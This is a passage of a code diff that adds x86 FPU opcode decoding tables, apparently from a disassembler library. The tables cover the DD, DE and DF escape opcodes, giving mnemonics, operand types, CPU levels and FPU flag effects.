+ { NOGROUP, CPU_PENTIUM4, ITYPE_FSTORE, "fisttp", { AMODE_M | OPTYPE_d | OP_SIGNED | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { AMODE_M | OPTYPE_sd | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { AMODE_M | OPTYPE_sd | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FRESTORE, "frstor", { AMODE_M | OPTYPE_fst1 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x4
+ { NOINSTR }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FSAVE, "fsave", { AMODE_M | OPTYPE_fst1 | OP_DST, 0 }, NOCOND, FPU_ALL_CLR, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fnstsw", { AMODE_M | OPTYPE_w | OP_DST, OPTYPE_FPU_STATUS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+
+ //
+ // ModRM >= C0
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+
+ // C0-C7
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FPU, "ffree", { OPTYPE_FPU_TAG | OP_DST, OPTYPE_STx | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x7
+ // C8-CF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+ // D0-D7
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fst", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // x7
+ // D8-DF
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fstp", { OPTYPE_STx | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xF
+ // E0-E7
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x0
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x1
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x2
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x3
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x4
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x5
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x6
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucom", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // x7
+ // E8-EF
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x8
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xB
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xC
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xD
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xE
+ { NOGROUP, CPU_I387, ITYPE_FCOMP, "fucomp", { OPTYPE_STx | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // xF
+ // F0-F7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // F8-FF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR } // xF
+};
+
+
+X86_OPCODE X86_ESC_6[0x48] = // DE
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FADD, "fiadd", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x00
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fimul", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x01
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "ficom", { AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, NOACTION, IGNORED }, // 0x02
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "ficomp", { AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP, IGNORED }, // 0x03
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fisub", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x04
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fisubr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x05
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fidiv", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x06
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fidivr", { OPTYPE_ST0 | OP_SRC | OP_DST, AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x07
+ //
+ // ModRM >= C0
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+
+ // C0-C7
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FADD, "faddp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x7
+ // C8-CF
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FMUL, "fmulp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xF
+ // D0-D7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // D8-DF
+ { NOINSTR }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FCOMP, "fcompp", { OPTYPE_ST1 | OP_SRC, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_ALL_MOD, FPU_STACK_POP2, IGNORED }, // x9
+ { NOINSTR }, // 0xA
+ { NOINSTR }, // 0xB
+ { NOINSTR }, // 0xC
+ { NOINSTR }, // 0xD
+ { NOINSTR }, // 0xE
+ { NOINSTR }, // 0xF
+ // E0-E7
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x7
+ // E8-EF
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FSUB, "fsubp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xF
+ // F0-F7
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x0
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x1
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x2
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x3
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x4
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x5
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x6
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivrp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x7
+ // F8-FF
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x8
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // x9
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xA
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xB
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xC
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xD
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // xE
+ { NOGROUP, CPU_I287, ITYPE_FDIV, "fdivp", { OPTYPE_STx | OP_SRC | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED } // xF
+};
+
+
+X86_OPCODE X86_ESC_7[0x48] = // DF
+{
+ //
+ // ModRM < C0
+ // Index 0x00-0x07 = opcode extension
+ //
+
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fild", { AMODE_M | OPTYPE_w | OP_SIGNED | OP_SRC, 0, 0}, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // 0x00
+ { NOGROUP, CPU_PENTIUM4, ITYPE_FSTORE, "fisttp", { AMODE_M | OPTYPE_w | OP_SIGNED | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x01
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fist", { AMODE_M | OPTYPE_w | OP_SIGNED | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, NOACTION, IGNORED }, // 0x02
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fistp", { AMODE_M | OPTYPE_w | OP_SIGNED | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x03
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fbld", { AMODE_M | OPTYPE_pb | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // 0x04
+ { NOGROUP, CPU_I287, ITYPE_FLOAD, "fild", { AMODE_M | OPTYPE_q | OP_SIGNED | OP_SRC, 0, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_PUSH, IGNORED }, // 0x05
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fbstp", { AMODE_M | OPTYPE_pb | OP_DST, OPTYPE_ST0 | OP_SRC, 0 }, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x06
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fistp", { AMODE_M | OPTYPE_q | OP_SIGNED | OP_DST, OPTYPE_ST0 | OP_SRC, 0}, NOCOND, FPU_C1_MOD, FPU_STACK_POP, IGNORED }, // 0x07
+
+ //
+ // ModRM >= C0
+ // Index 0x08-0x47 = ModRM 0xC0-0xFF
+ //
+ // C0-C7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // C8-CF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+ // D0-D7
+ { NOINSTR }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // D8-DF
+ { NOINSTR }, // x8
+ { NOINSTR }, // x9
+ { NOINSTR }, // xA
+ { NOINSTR }, // xB
+ { NOINSTR }, // xC
+ { NOINSTR }, // xD
+ { NOINSTR }, // xE
+ { NOINSTR }, // xF
+ // E0-E7
+ { NOGROUP, CPU_I287, ITYPE_FSTORE, "fnstsw", { OPTYPE_REG_AX | OP_DST, OPTYPE_FPU_STATUS | OP_SRC, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, // x0
+ { NOINSTR }, // x1
+ { NOINSTR }, // x2
+ { NOINSTR }, // x3
+ { NOINSTR }, // x4
+ { NOINSTR }, // x5
+ { NOINSTR }, // x6
+ { NOINSTR }, // x7
+ // E8-EF
